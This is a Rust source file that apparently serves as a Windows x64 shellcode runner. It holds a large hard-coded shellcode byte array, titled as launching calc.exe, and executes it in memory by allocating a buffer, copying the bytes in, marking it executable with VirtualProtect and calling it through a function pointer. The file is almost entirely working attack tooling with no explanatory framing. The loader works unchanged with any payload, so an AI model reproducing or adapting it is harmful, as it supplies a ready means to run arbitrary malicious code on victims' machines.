/* Windows x64 Calc.exe Shellcode */ use std::ptr::null_mut; use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect}; fn main() -> std::io::Result<()> { let shellcode: [u8; 1342] = [ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x66, 0x9C, 0x50, 0x51, 0x52, 0x53, 0x55, 0x56, 0x57, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0xE8, 0x1F, 0x00, 0x00, 0x00, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5F, 0x5E, 0x5D, 0x5B, 0x5A, 0x59, 0x58, 0x66, 0x9D, 0xFF, 0x25, 0xBB, 0xFF, 0xFF, 0xFF, 0x56, 0x48, 0x8B, 0xF4, 0x48, 0x83, 0xE4, 0xF0, 0x48, 0x83, 0xEC, 0x20, 0xE8, 0x05, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xE6, 0x5E, 0xC3, 0x48, 0x83, 0xEC, 0x38, 0xE8, 0x20, 0x00, 0x00, 0x00, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0xE8, 0x8F, 0x02, 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0x85, 0xC0, 0x75, 0x1C, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x0B, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x40, 0x30, 0xEB, 0x07, 0xE9, 0x24, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x58, 0xC3, ]; unsafe { let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04); if mem.is_null() { return Err(std::io::Error::last_os_error()); } std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len()); let mut old_protect = 0; let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect); if result == 0 { return Err(std::io::Error::last_os_error()); } let func: extern "C" fn() = std::mem::transmute(mem); func(); } Ok(()) }